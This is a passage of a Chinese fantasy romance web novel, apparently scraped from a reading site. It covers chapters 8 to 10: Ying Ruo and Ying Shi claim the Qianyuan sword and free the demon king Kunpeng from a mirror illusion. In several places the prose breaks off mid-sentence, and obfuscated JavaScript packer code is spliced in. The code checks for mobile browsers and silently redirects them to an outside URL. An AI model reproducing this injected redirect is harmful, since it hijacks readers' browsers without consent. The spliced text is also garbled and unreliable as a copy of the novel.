随后,一行人又追踪着魔气,到了渭水渡口附近。人来人往,舟渡江河,魔族却是已经逃得无影无踪了。 几人回来时已至夜晚,村民们正在庆祝度过了灾难,围着篝火喝酒吃肉、载歌载舞、谈天说地、畅想未来。季澜见他们回来,便也邀请他们同享欢乐。 “明日,我们便启程去辰光山吧,那里是乾元剑现世之地,正好离得不算远。”应若快速地看了应时一眼,复低下头说道。 “竟是师门所在,为何我们从未听闻?”杜嘉毅一阵讶异。 “我也只是能感知到剑的方位,至于为何未曾宣扬,就不得而知了。”应时说完便陷入了沉默,在应若看向别处的时候,深深地凝望。 “那可是传说中的乾元剑!”墨悦和花染也很是期待。 “今日难得有机会,我们比比酒量吧,来,干杯!”花染和墨悦兴奋不已,杜嘉毅也深受感染。五人于是共举杯盏,一饮而尽。 “应若姐,你竟然,比我还能喝。嗝!”花染已然醉的不轻,墨悦和杜嘉毅则早就东倒西歪地趴在桌子上了。 “不过是我妖力强而已。”应若说着又喝了一杯。 “我知道,幻境里的都是假的,但我只是想多看一看我母亲,那是我在现实里,再也见不到的母亲了。就当是最后的告别了。”花染自言自语着。 “我还没醉!”墨悦突然出声,“我其实,小时候修炼的时候,吸引魔气更快,大家才说我和朱厌像。可我发现魔气很难控制,也幸好我那时候并未引魔气入体,坚持修习灵气,打散了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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应若抬手打断了应时的未尽之语,“非要现在说清楚吗,可能,过几天我就能心平气和的和你商议此事了。” “对不起,我知道你不喜欢隐瞒和欺骗,我也是不久前才下定决心,走师父与我说的这条路。我体内一直有一丝强大的魔气,被我压制着。”应时的声音有些沙哑。 “所有的事情,总会有办法的。我也很想,这条路,走得长一些,久一些。” “你没错,我甚至应该为你感到高兴。你终于迈出了这一步,终于开始了真正的成魔之路,然后是化,最终是散,没错吧?乾元剑,灭一切邪魔,你要剑也是以防万一的吧?”应若背对着他,声音平稳地说着,泪水却不受控制地落下。 “我理解、认同、尊重,真的,我只是需要一点时间,想想怎么做才是最好的。”应若顿了下,“你,还有要说的吗?” “你为什么确定我不会真的成为作乱的魔?”应时一时间不知道该说些什么,因为一切都是未知,一切都无法预料,更无法承诺。 “有时候,我倒宁愿你成魔。”应若久久未动,也不曾回身看他,有些自嘲的笑了。“因为魔,只在意自己。” “没有别的事,你也回去歇息吧。我想,一个人待一会儿。”门被轻轻的关上,身后的脚步声也渐渐远了。应若耳边回响着刚刚席间花染语气崇敬的话,“应若姐见多识广,肯定是不会害怕的。” “见的多了,才更害怕吧。”应若低语。“见的多了,也总会有办法的。”她像是说给自己听。 今夜,无月。虚实相生,所见由心。而生命与魔气又能共存多久呢? 8. 乾坤归元 水面波光点点,倒映着焕然一新的村落。 离别在即,季涵已经完全恢复,她眼巴巴地盯着应若,央求道:“应若姐姐,能不能也带上我呀?我已经修习了几年剑术,我也想和你们一起,去做点儿什么。” “现在,你该做的就是好好长大。等你长大了,再用你的力量,去帮助、去感恩,去做你想做的事。”应若笑着摸了摸她的发顶,“而且,我们不收未成年哦。” 各自珍重,只愿后会有期。 路上,应若和应时一直未曾言语,花染察觉到气氛有些微妙的凝滞,便随意找了个话题问:“应若姐,我们去取剑,会不会有魔族阻拦?” 应若只觉这问题有些莫名的怪异,却也还是应道:“不会,辰光山灵修众多,修为不低,魔族不敢轻易进入。” 花染隐蔽地碰了碰墨悦,示意他赶紧也说点儿什么。墨悦也是摸不着头脑,只得问道:“时哥,为什么要取乾元剑呢?那不是应龙大人的剑吗?” 应若轻笑一声,看出他二人在努力地调节气氛。但这个问题,算是问到关键了,于是便也把目光投向应时,等着他的回答。 “乾元剑,乾坤斗转,万元归一。魑魅魍魉,无所遁形。用此剑,更能对付魔族。”应时在三人炯炯目光中避重就轻地回答,但这的确也是事实。 进入山门,一些修行的弟子来往行走,互相行礼,比试剑招,他们便径直前往凌云峰。 “剑应当就在这峰顶了。”应若一边走,一边留意着周遭,也未见任何异常。 “凌云峰是时与师尊多年以来的闭关之地吧?”杜嘉毅有些疑惑。 “是的。但我师父在我离开时同我说,他会去云游四方,想来应该已经不在山中了。”应时先一步登上山顶,但这里也看不出任何有剑存在的痕迹。 山风呼啸而过,虽离开并不算很久,但心境已然大不相同。少时心中豪气万千,一心要做侠义英雄,离开师门真正踏上除魔的路,方知艰难险阻从来都在心中。 凌云峰,除去苍松翠柏,就只有青石堆砌而成的圆形石台,和围绕石台的十二根青灰色石柱。应若举目远眺,莫名觉得这处的景象有些熟悉,却又不知这感觉从何而来,许是剑在这里的缘故吧。 应若站在石台中央,复又仔细感知了一下。“难道在这祭台之下?”应时也铺开灵力深入探索,二人也默契的没再囿于先前的不愉快。 应若与应时对视后,心中便有了思量,“如果十二根石柱对应着十二个时辰,按照现在的时间,把灵力注入到对应的石柱里,会不会太容易了?” 应时也有些不解,“容我一试。”应时负手而立,调动周身全部的灵力,灌注于石柱,那石柱竟隐隐的泛出金色的纹络,待石柱上的纹络尽数泛起金芒,十二根石柱渐次亮起,最终形成了一个金色的结界。 而此时,结界外的花染、墨悦、杜嘉毅三人却是无论如何也破不开这结界,也看不清里面发生什么了。 石台中央,像是从地底深处涌出了深蓝色的一簇灵气,幽幽的漂浮在应若和应时之间。 应若凝望着这熟悉又陌生的灵气,好像听见有谁在轻声唤:“小树。”就好像看见远方,谁的眼神,温柔又哀伤。 待应若回过神来,那簇灵力像是有自我意识一般,飘到了应若近前,不愿离开。应时眼中划过一抹不易察觉的艳羡,心中想着,“要是我也能陪她很久,就好了。” 应时持剑引灵,“以我剑气,引渡元识,承泽万物,护佑苍生。”那灵力颤颤巍巍地,似有留恋地被牵引至剑尖处,摇了又摇,晃了又晃,终是融入了剑中。 霎时间,剑身变得苍劲厚重,原本的银色逐渐被墨蓝色覆盖,环绕其中的还有星星点点的深翠色微光,而剑柄则是缠绕了龙的图腾纹样。 应若看这一切过于顺利,还是有些不敢置信。她试探着触碰结界,却仍然无法破除。“应时,你试试用乾元剑能破开结界吗?”应时试着挥剑,澎湃浩瀚的力量破空而出,倒是十分得心应手,然而结界稳固依旧,没有丝毫变化。 “你师父是从前在这儿闭关吗,就在这石台之上?”应若说着,环绕石台走动,上下打量着。 “没错。但我也从未见过这金光。”应时也是百思不得其解,既然已经拿到了乾元剑,却为何还不得离开呢? “那你觉得,这会是你师父留给你的吗?”应若侧眸,视线落在乾元剑上。 “我不知道。从前师父常年闭关,只是教给我心法,大多时候都是让我自行修习。” 应时回忆着与师父相处的点滴。师父似乎都无需回头看,就知晓他哪里做的好,哪里并未完全领悟。虽然他并不很了解师父,但那些年的教导和关怀是他永远都不会忘记的。 他时这样想着,无意间视线掠过石柱,却发现好像上面的纹络有了些变化。“这是,剑意心法?”石柱上,有字迹显现出来。 应若闻声也与应时一同细瞧,不禁感叹:“或许,你练好了这剑法,我们就能出去了。这只是一位师父对徒弟的关怀和期待。” 应时只觉得眼眶微热,全心全意钻研起了剑法。一时间,剑光流转,如龙在天,俯仰之间,气象万千。剑气纵横扫过,结界就这样散开了。 看到彼此都安然无恙,乾元剑也已取得,心下终于安定。 “墨悦,这下你倒是不用再担心入魔了,有了乾元剑,随时可以给你一个了断。”应若似是另有所指,淡淡侧首撇了应时一眼。 “我不是为了以防万一,才想要取得乾元剑的。”应时连忙上前表明态度。 “是吗?”应若也不知是否相信了。 墨染正待再问他们在打什么哑谜,便被花染从后面一把捂住嘴拉走了。 得知取剑的过程,杜嘉毅有些感慨:“应时,你与师尊,就再没有联络了吗?” “师父说,天下之大,四海无涯,各自缘法,无须牵挂。”应时几人在凌云峰拜了几拜,便下山去了。 下山途中,路过藏经阁,应若倒是主动开口问应时:“藏经阁里的书,都是秘笈之类吗?” “从古至今,天文地理,奇门异术,武学秘笈,各类都有,若有兴趣,可以带走。”应时眼中流露出怀念。 藏经阁内,一尘不染,分门别类地陈列着各式书卷。几人边走边看,应若翻着一本阵法类书卷,觉得大开眼界。一本接着一本,几人看到新奇的书卷,便拿下来捧在怀中,走出藏经阁,还颇有些依依不舍。 “有了乾元剑,我们对付魔族更有把握些。一直以来,我们都在被动的被魔族牵着走,现在是时候主动出击了。”应时虽然还未与乾元剑达到人剑合一的境界,但对付那些魔族总不至于受伤。 应时手持乾元剑,默念“魔踪”,脑海中便浮现出方圆百里魔气的较多聚集之地,应时直接挑了附近魔气最为浓重的日月岛,作为直击魔族的第一个目的地。 “这剑竟能追踪魔气,不愧为龙神之剑!”墨悦崇敬地看向应时,应时只好颇为赞同地点点头,而后掩饰一般地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187100|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了。 应若暗笑一声,心道:“还真是有了乾元剑,什么都能解释了。” 马车里,应若正捧着一本刚刚从凌云峰书阁中带出来的书,看得津津有味。“千年的智慧,真是不容小觑。这些阵法之术,较之上古时期可是衍化无数。” “应若姐,怎么对阵法有兴趣?”花染有些不解,“你都已经很厉害了,而且这阵法看着就很复杂多变,我看着就头疼。” 应若视线还停留在书中,闻言并未侧首,只是一边看,一边说道:“阵法可比我们仅用灵力攻击要强上许多,可以弱胜强。而且,这其中包含了许多奥妙之处。” “嘉毅兄,你们以前在修行时,会把这些类别的书都学一些吗?”墨悦深感敬佩。 “并不会,大部分人会选择自己喜欢或者擅长的方向深入研习。书中的智慧,无穷无尽。”杜嘉毅应着,心中也有些顾虑,“我们明日真的要去日月岛吗,会不会危险了些?日月岛周围尽是海水,其中具体情况如何,我们一无所知。” “小师叔,我猜想,魔族若是关押妖王鲲鹏,应当选择最与世隔绝的地方,才最妥当。且鲲鹏属水,海水丰泽之处,更能激发他的妖力。直觉告诉我,妖王就在日月岛。” 是夜,几人在客栈住下。应若手中拂过腰间通透的碧色玉佩,起身去了应时门前,抬手正欲敲门,门从里面打开了。 四目相对之间,应若放下手,尽量自然的问:“你有事要出去?” “嗯。”应若垂眸,正要侧身让开,应时接着道:“要去找你。” “我们出去走走吧。”应时与应若不急不缓地走着,人来人往中,一派祥和的景象。 行至一处小桥上,流水自桥下潺潺,两侧草木绵延。月光和着春风拂过,心事也和煦温暖。 二人先是并肩,而后应若快了一步,旋身与应时面对面地站着,“应时,你的魔气,是怎么压制的?”她的眼眸似是被月亮镀上了一层银色的光。 “师父说,我体内有一缕魔神的魔气,但同时也被一股神力压制着。清静心法,再辅以乾元剑,不会有问题的。”应时保证似的说。 “吸收魔气,也没事吗?”应若追问,不由得靠近了半步。 应时呼吸微滞,立刻拂袖掩饰了过去。“之前的伤,早就好了。吸收魔气,好好调息,也无碍的。我会努力好好活着。”他对应若说着,也对自己说着。 “其实,我之前一直没有下定决心,要做主动成魔的人,因为我也想活。但这段时间以来,我们经历了许多。在幻境里,我恐惧的,是我的一念之差,让原本可以安宁的世间变得混乱不堪。既然我有这个能力,有这个可能,我愿意为自己,也为天下一试。” “好。”应若点点头。“我知道了。” “那你,不生我的气了?”应时专注的望着应若。 “我没生气,我只是想清楚了。”应若尽量自然地避开他的目光,故作轻松地偏开头,望向灯火通明的亭台楼阁。 她口不应心地随意道:“要赴死的不是我,我的时间还长呢。我也已经见过很多生死了,这世上这么多人,这么多妖,不过都是或长或短的同行过一段路。同行是缘,自当珍惜。”可她知道,她最想要同行的,不会再有别人了。 她只是想着,不念过往,不畏将来,才能拥有现在。生命也许可以很长,长过沧海,也可能很短,短过一瞬,只要热烈过、努力过、鲜活过,生若浮游也无悔无憾。 乾坤归元,无尤无怨。 9. 扶摇直上 清晨的光,温柔而安静。几人来到渡口,发现去往日月岛的人竟然已经排起了长队。 墨悦和他前面的一名男子攀谈起来,“大哥,看你的打扮,是要出海捕鱼吗?” “是啊,咱们这片海域,就在这岛附近,鱼又多又大,我们这些以打鱼为生的人,自然是哪里有鱼就去哪。” “那你有上岛去看过吗?” “当然,那岛上有许多奇珍异宝,看到那些商船了吗,都是去做生意的。” 听得这番对话,应若望着远近色泽深浅不一的海水,低声说:“如果是鲲鹏,他的确是有能力吸引鱼群环绕。” 渡船上,应时站在船头,望着逐渐接近的岛屿皱了皱眉,“奇怪,离得近了,反而感觉不到魔气所在了。” 应若倒是一笑,迎着海风斜睨了应是一眼,“别忘了,魔族不是最会掩藏气息之术吗?”不然她怎么可能几次都没发觉被他跟踪了。 日月岛,明暗交错,日月同辉。人们辛苦劳作,乐在其中,并无邪异。 近岛处的海水,泛着暗红色,似有阴影浮动其中。“这海水看着不祥,但倒影竟还很清晰。”花染看着海水中的自己,好似比镜子还要清楚。 “倒影。”应若顿时心生疑窦。正要示警,只听哗啦一声,杜嘉毅便不见了踪迹,而海面也旋即恢复了平静。 “杜嘉毅!”几人在四周和海水中寻找,却一无所获。 “小心些,这里很可能有鲲鹏的镜像世界。有倒影在,只要他想,他可以将任何人拉进去。多年不见,真是刮目相看了。” “又是迷阵吗?”墨悦有些头痛。 “镜像世界里,只有入阵者和布阵者是真实的,其他皆为虚幻。但在镜像里,我们没有真实的过往记忆,因为记忆并不会被倒映、被复制。”应若也未曾想过,这镜像之阵,有一天,也会用在她的身上, “那岂不是会敌我不分了?”花染和墨悦不由担心。 “那就看我们的默契了。”应时视线里突然出现了一株灰色的小树,树形异常的熟悉,他不由自主地走到近前,再看向海面,却并没有它的倒影,便道:“这就是入口吧。” 应若抬眼,心下也是一阵错愕,“怎么像是我的树形,只除了颜色不一样?”她心中有些说不清的不安,不是害怕,而是困扰。 “这阵势,像是冲我来的。林晚的妖心之力,交给你保管吧。”应若走上前去,同应时低语。毕竟,应时可以控制魔气,是几人之中最有可能恢复神智的。应时便妥帖收好,示意应若放心。 “我若是一剑砍了这树,我们也能进入镜中吧。”应若看着这树,手中已经有些按捺不住了,很想打一架。 “试试看。”应时也笑出声来,不知为何,也有了砍树的想法。墨绿的剑光闪过,倒影也是一个世界。 海底的世界里,五彩缤纷的鱼儿游曳着,环绕着,带起阵阵水波。 应若茫然地睁开眼,发现自己被关押在囚牢之中,周围还有众多士兵看守。 “阿姐,别怕,我是阿寻,我们很快就要攻打过来了,战争就要胜利了。”应若悄悄向四处张望,却并未找到空气中的声音来处。 一夜过后,只听得一阵兵荒马乱,看守牢狱的士兵也高喊着杀敌冲了出去。趁此机会,应若破开枷锁,逃出了海底的监牢。 她躲藏在一块巨石后,屏息凝神,生怕被发现。然而,并无一人注意到她。见两军拼杀,伤亡无数,血染红了一大片的海水,无数生命沉落海底。看着这一幕,她忽然觉得很难过,很难过。泪水融在水中,找不见,也分不出了。 最终,“陵”字旗帜摇撼,伴着擂鼓呐喊,而“化”字旗帜则是被撕毁,被踩踏,直至再也不见。 “阿姐,我终于找到你了。你还好吧?我们陵鱼一族胜利了,化蛇再也不足为惧了!”应若迎着他关切的目光,只是微笑着点了点头,便随他离开了。 萧寻带着应若来到一处宫殿门前,颇有些紧张地说:“阿姐,这是我为你打造的宫殿,看看,喜不喜欢?” 应若走进殿中,听着耳边萧寻不断的介绍,“阿姐,这是一方汤池,你从前每天最喜欢做的事,就是泡尾巴了。” 萧寻陪了应若许久,但大多都是他在说,应若在听。 “国主,化蛇族首领及其亲信已关押至地牢,只待明日行刑。”萧寻听得通报,便准备去地牢一趟。“阿姐,化蛇一族便是从前重伤你的罪魁祸首,让你变得沉默寡言,神魂不稳。不过你放心,我会好好保护你的。阿姐你好生休息,我明日再过来看你。”明明他的目光温柔如水,她却生生打了个寒战。 “冷,那不如……”应若不再理会奇怪的情绪,她坐在池边,暗自思忖,“我有鱼尾巴?好像很好玩?”她心念一动,双腿便化成了一条鱼尾巴,墨绿色的,从腰部至尾部色泽逐渐加深,鳞片流光溢彩,如梦似幻。 “好看。”应若感到很满意,伸手摸了摸自己光滑的鳞片,将尾巴放入了池中。透过水流的波纹,尾巴更显得灵动飘逸,应若便在水中随心所欲地摆动鱼尾,一时间水花四溅,好不快活。 突然间,应若好像听到有脚步声靠近,她警觉地将自己整个人都潜入水中。待靠近池边,好像声音又不见了,她有些疑惑,便悄悄探出一点头,只露出一双眼睛,却正好和池边的另一双眼睛四目相对,那人也正好在水边自上而下地俯下身来,咫尺之间,目光如电,呼吸交缠。 应若一惊之下,将整个头部都浮于水面上,正要张口呼喊,来人再次一个箭步上前,挨得她更近,一手捂住了她的嘴,另一只手轻柔的带过她的肩。 他闭眼将她从水中抱起,拂袖间水滴尽散,她搭在屏风上的衣物也都尽数在她身上披好了。 猝不及防之下,应若用鱼尾巴站到了地面上,可她是还没有用尾巴站立过,找不好重心,一不小心就绊到了衣裙。在即将要摔倒的瞬间,应若下意识便抓住了身前人的衣襟,只见眼前人睁开双眼,艰难忍住嘴角的笑意,堪堪稳住身形,帮助应若保持平衡。 “不会变回来了吗?”略带调侃的声音在耳边响起,应若不知为何有些耳热,连忙把衣摆之间若隐若现的绿色尾鳍变回了正常,也把衣物都整理好。 “你是何人?”应若松开揪着他衣袖的手,当即开始质问。 “我是送你玉佩之人,应时。”应时眼中含笑,一指应若腰间的玉佩。应若也顺着他的视线看向自己的腰间,那是一块碧色的玉佩,温润细腻,甚是好看。 “两侧我还刻了字,先前没有告诉你,不过现在你可以看,分别是-时若、春和。”应若仔细观察,确实如此。 这时,殿外传来侍女的声音:“殿下,有化蛇一族逃跑。如有异常,务必及时召唤我等。” “我知道了,我在沐浴,无事。”应若声音平静地回复道。 其实应若本应该还有很多问题想问应时,比如“你是化蛇一族吗”、“我们是什么关系”……但她也不知为何,就是想要相信他,不问缘由。 “我今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好。”应若虽然有些不愿出门,但也还是答应了下来。 “阿姐,这玉佩颜色和礼服不合适,大典时就不要戴了。”萧寻正欲伸手将玉佩摘下,应若先一步将玉佩拿了下来,放在一旁。“嗯,我也觉得不合适。”应若没再去看萧寻,只是无所谓地说着。 “那阿姐先准备一下,我等你。”萧寻待了一会儿便也去筹备大典了。 有侍女上前整理好礼服,恭敬道:“恭贺殿下与国主喜结连理,应若殿下,是否要试一下?这可是国主为您精心筹备的。” 应若却只听到了前一句话,确认似的问,“喜结、连理?” “是啊,这可是举国同庆的大事。” 应若沉默半晌,只道:“你先下去吧,我自己试就好。” 黄昏时分,大典伊始。 应若一席深绿礼服,珠钗步摇,目光沉静深远。萧寻一袭红衣,同应若一起,一步一级,走上高台。 应若没再留意大典,也没去听究竟有谁,说了些什么,她只是漠然地看着,思绪飘远。一只手伸到眼前,是萧寻,他眼眸深沉,情意真挚。 这时,异变突生,应若身后的两名侍从向她袭来,萧寻见应若不闪不避,立刻将她护在身侧,与那两名侍从,也就是花染和墨悦,缠斗起来。 混乱之际,有箭矢从远处疾射而来,应若隐蔽地挪动了下脚步。萧寻眼看着箭尖直奔应若而来,再也顾不得其他,挡在应若面前,一支箭,瞬间穿透了他的心脏。萧寻还想再说些什么,嘴唇开合,却再也发不出声音,倒在了应若面前。但应若看清楚了,他想说的是三个字,“对不起。” “萧寻,我原谅你了。这就是你的执念吗?但这个心愿,我不能帮你完成了。”应若垂眸看着萧寻渐渐合上的眼,再抬眼,与远处放下弓箭的应时遥遥对望。 鲲鹏,不应困于海底,而是自在遨游万里,扶摇直上。 10. 镜花水月 “哗—” 只见海面如同破碎的镜面一般,浪花纷纷扬扬,折射着光华,一瞬腾空,再倏然坠落,海底的镜像也随之消失。 在大典前不久,她们便已经商议好对策。花染和墨悦扮作侍从制造混乱,杜嘉毅引开追兵,应时将林晚的妖力附于箭尖,从远处射出那至关重要的一箭,就可以让萧寻恢复清醒,解开镜像之阵。 说来也巧,不知是不是萧寻的心理作用,在阵中,应时四人均是化蛇一族,自然而然地听命于首领应时。 也正如先前应若预料的那般,“既然倒影有镜,剑光的镜像应该会让他把我单独带走,放松对你们的警惕。” 岛上,几人出来时的位置仍同进入阵前一样,杜嘉毅则是破开水面,轻咳着从岸边走了上来。 阵眼处的树已然不见,妖王鲲鹏,也就是萧寻,好像还沉溺在幻象中,呆呆地坐在那里,视线定格在地上的某个点。他默默地想,“如果,最先遇到你的是我,结果,也不会有不同吗?” 萧寻终于缓缓站起身,抬头看向五人,“我这是在哪?怎么了?” 应若直截了当地问道:“五年了,除了幻象,你没有任何记忆吗?” 萧寻一时怔忡,“已经五年了啊,自从我认识了他。我原本是来人间找林晚的,她那时传信回妖界向我求救。对了,你们见到林晚了吗?” “她知道,你没出现,就是被魔族困住了。她心里有愧有悔,为了彻底摆脱控制,也为了重创魔族,她拜托我们把她的心中的妖力给你。她还有一线生机,我们会带她会回去,她还能重新开始修炼。” 应若看向他,尽量简明扼要地说清楚一切。“你也该回去好好做你的妖王。” “我们共同守护妖界那么多年……”萧寻后知后觉地红了眼眶,“我有什么资格回去继续做妖王?我自己还不是一样识人不清。我来人间打探消息,以为遇见了志同道合的朋友,我以为他他侠肝义胆,仙风道骨,却都是假的。或许就连样貌都是假的,自从我和他结义兄弟,就没再见过他了。” “他有多大的能耐,竟然能困住妖王?在这岛上也不派魔族看守你,就这么自信?”墨悦看着自己很是崇敬的王现在这么落寞,心里也很不是滋味。 “也许是契约的力量吧。结拜时大概说了两肋插刀、生死与共之类的话,不知是他还是别人有类似灵言的能力,我在说完盟誓,歃血为盟之后,就没有意识了。血誓的力量加上灵言,他或许自觉万无一失吧。” 魔不会知道,还有树妖的心力可以救赎,他也不会懂,情谊之重。只是萧寻万万没想到,他竟然被困五年,无法自救。 “所以,那时林晚姐也是这样被困住的,婚书上的盟誓,以灵起誓再加上灵言。”花染不住摇头叹息。 “灵言也算是奇门异术了,精通此法的人应当很少。”杜嘉毅思索着,辰光山中也没有听说过有精于此道的修士。 “我也曾听师父说过,但灵言属于禁术,用的越多会也反噬自身越多。所以,他更需要魔气的力量来填补自身力量的空洞。想来,林晚和萧寻的离开也会让他遭受重创。”应时安慰道。 “你们同我回一趟昆仑吧,妖王殿有我寻来的法器,或可助你们对抗魔族。”萧寻努力让自己振作起来,他不能辜负这一切。 昆仑山,妖王殿。 一众妖族因为妖王的回归而欢庆,萧寻被闻风赶来的妖团团包围。不过幸好他拉来了杜嘉毅,也能帮他缓解压力。 其余四人先是到了林晚的降生地成侯山,她的本相椿树已然不见,只能在泥土中找到一截干枯的树根。应若将她玉佩中蕴藏的最后一丝妖力引渡到她的树根处,那树根便焕发了一线生机,只待日后生长。 而后他们去了昆仑之狱,那里由千万种树木的枝桠组成了一个巨大且坚固的结界。树妖的职责是规束和守护,这一代负责训诫狱中妖族的是松树妖松茗。 隔着结界上深浅交织的错落绿光,他们看见了火狐和夫诸,他们已经恢复如常,端正认真地听着松茗讲法理。 看见一切安好,他们便欣慰地离开了。应若奈不过花染的央求,带他们来到了自己的降生地-天池边。 “不愧是树妖大人!”花染亲昵的挽着应若的手臂,连声赞叹,“那,能不能让我看一眼本相呀?” 应若看着她明亮的双眼,略一思量,“只给你看一眼。”说罢,手指在花染眼前捏诀,“虚妄无相,见。” “哇!”花染惊叹出声,心中无比震撼,为法术,更为这庄严而美丽的树形。 “应若姐,我也偷偷告诉你一个秘密。应时在镜像之阵里,跟我们说的,是抢亲哦。”花染俏皮地眨了眨一边的眼睛。 “只是那么一说而已,估计那时候,他自己也还没清醒呢。”应若看起来不甚在意。 “我看啊,你就是揣着明白装糊涂!”花染摆摆手,“我去找墨悦了。” “那又怎么了,不是说,难得糊涂么。”看着她的背影,应若辩驳道。 走进被白雪覆盖的庭院,简约大气又不失优雅,墨悦也不禁感慨:“这比起时哥的府邸,也不遑多让啊!” “阿若。”应若听见这称谓,有些意外地回头。 应时也不说缘由,只问:“不可以吗?” 应若微微扬眉,等着应时走过来,“随你。” 二人并肩同行,“你在镜像阵中,吸收魔气了吧。不然也不能那么迅速反制。吸收魔气,不会难受吗?”应若略有些担心,毕竟以灵气之躯吸收魔气,一切都是未知。 “还好,刚开始有一点,后来就没事了。”应时踌躇片刻,还是问道:“我想问,阵中,你是什么时候恢复记忆的?” “唔,大概是大典那天吧。”应若看向前方,小小的撒了个谎,主要是,实话实在是有些说不出口。 难道要说,“是看见龙尾巴的时候。”那也太冒犯了,应若小幅度的左右摇了摇头,幻境里的事,都不作数,不能当真的。至于为什么会是龙尾巴,自然是因为从前见过那墨蓝色,印象深刻。 二人行至窗边坐下,“你不问问我吗?”应时却不打算放过。 应若只得说:“你?想必是一开始就用魔气保持清醒吧。” “是。”应时认真地望进应若眼底,“所以,我说抢亲,是真心的。” “啊,这个。我知道,不然怎么破阵。”应若故作镇定地点点头。 应时正想再说些什么,却突感心口一阵刺痛,他隐忍着不想被应若发现,“奔波了一整日,我也有些累了,早些休息。”说罢便离开回自己房中去了。 应若敏锐的觉察到他面色有异,便悄然跟了过去。院内,能感知到魔气与灵气对峙时的气息翻涌。 应若静静的靠着墙壁,站在角落的阴影中,没有发出一丝声响。院中悄然无声,只有气息的变化,她可以想象得出,他忍痛的模样。 待到应时抑制住魔气,平复气息,已是黄昏。应若听见绵长的呼吸声,也终于松了一口气,如同来时那般,悄悄地离开了。 应若回到院中,却见萧寻等在门口。 “妖王大人,这是终于杀出重围了。”应若同他走到亭中坐下,知道他心里不好过,也没再多说。 “好久不见了,你都还好吧。”萧寻笑了笑,注视着着应若。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187102|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我都好。细算起来,以前,我和你也很少有单独聊天的时候,大部分的时间都是在修习术法。”应若声音平和,语带怀念。 “是啊。”萧寻多希望时光可以倒流,“那时候我总能第一眼看见你,就像你总是第一眼看向他。” “是吗?”应若摇头感叹,“我自己都不知道。你也才刚恢复,还需仔细调息,早些休息吧。” “嗯。”萧寻起身,“我会继续做好妖王,我也能做好。”二人相视一笑,很多事很多话,不必多说,静静地坐上片刻,也就放下了。点头致意后,萧寻便离开了。 也许是压制魔气消耗过多的缘故,应时清楚地知道,他又做梦了。 梦里,也是一片寂静纯白的大雪,有谁靠着树干睡着了。一只野兽悄悄靠近,正欲攻击,却好像被不知名的力量阻拦又反弹,那野兽徘徊一阵便警惕地跑走了。 待那人醒来,望着雪地上的爪印,走向不远处的另一棵树旁说道:“昨夜山中有野兽出没,多谢你保护了我。”那靠坐着的身影没回答。 那人从怀中拿出一颗果子,“给你果子,酸甜的。谢礼。”于是,一只白皙的手接过了红艳艳的果子。 画面一转,好像是刚刚去过的天池边。 “明天,我要离开这里一段时间,去看看外面的山川和世间,你会跟我一起吗?”男子的声音平和,却暗藏着期待。 “我,不想出去,妖族昆仑山这里就很好。你一路平安。”女子的声音低落下去。 待那男子离开后,她又喃喃自语:“我只是想安静的观察这个世界,不过多参与,不担因果,才自在。”但这个夜晚,她一直睁着眼,好像有许多心事。 应时看着这单薄的背影,也不由想道,她应该很犹豫吧,外面是广阔的天地,充满新奇与冒险,也很可能会受伤,而待在这里,舒适又安逸。 等到第一缕阳光醒来,她睁开眼,铺开妖力感知,却没找到他在哪。她奔跑着,衣摆在风中飞扬,拉着询问经过的小妖,“他已经走了吗?” “是啊,刚刚就已经离开了。”她一路跑到山脚下,看着眼前的分岔路口,心中一片茫然。还是晚了,来不及了吗? “小树。”她回身,看见他正迎面走来。日光很暖,看着他的笑眼,她也终于笑了起来。 “我不是来找你的,这附近山上的苹果一般,我来,是要找更好的。”阳光下,她骄傲又明媚。 他知道,她害怕,但她还是来了。 梦醒,应时猜想,这就是应若和应龙吧。也许是乾元剑的缘故,让他频繁地梦到应若。 他心中闷闷的,下意识地去找应若,却见她正与萧寻一起。他想,即使和她的妖族朋友相比,他与她相处的时间也很短吧。 应时怅然转身回去,正巧遇见杜嘉毅。“小师叔,这是又寻到好酒了?”应时打趣道。 “据说,这昆仑的酒,清冽甘甜,不如同我共饮?”杜嘉毅邀请道。 “好。”二人坐在一处屋顶上,把酒言欢,一如从前在师门时那样。 说着说着,应时望着酒杯中倒映的月亮,问道:“小师叔,如果你喜欢过一个非常完美的人,之后,你还会喜欢别人吗?” 杜嘉毅若有所思,“我没经历过,我也不知道。不过,就像这酒,每一种酒都有其独特的滋味,不同的人也有不同的体会。” “也是,没什么好犹豫,人生在世,所求不过是无愧无悔。小师叔,多谢你的酒!”应时洒脱一笑,一个翻身落在屋檐下。平日里他因为魔气,或多或少都会压抑内心,顾虑重重。而现在,恣意张扬,翩翩少年郎。 镜花水月,终不可及。 11. 再回长安 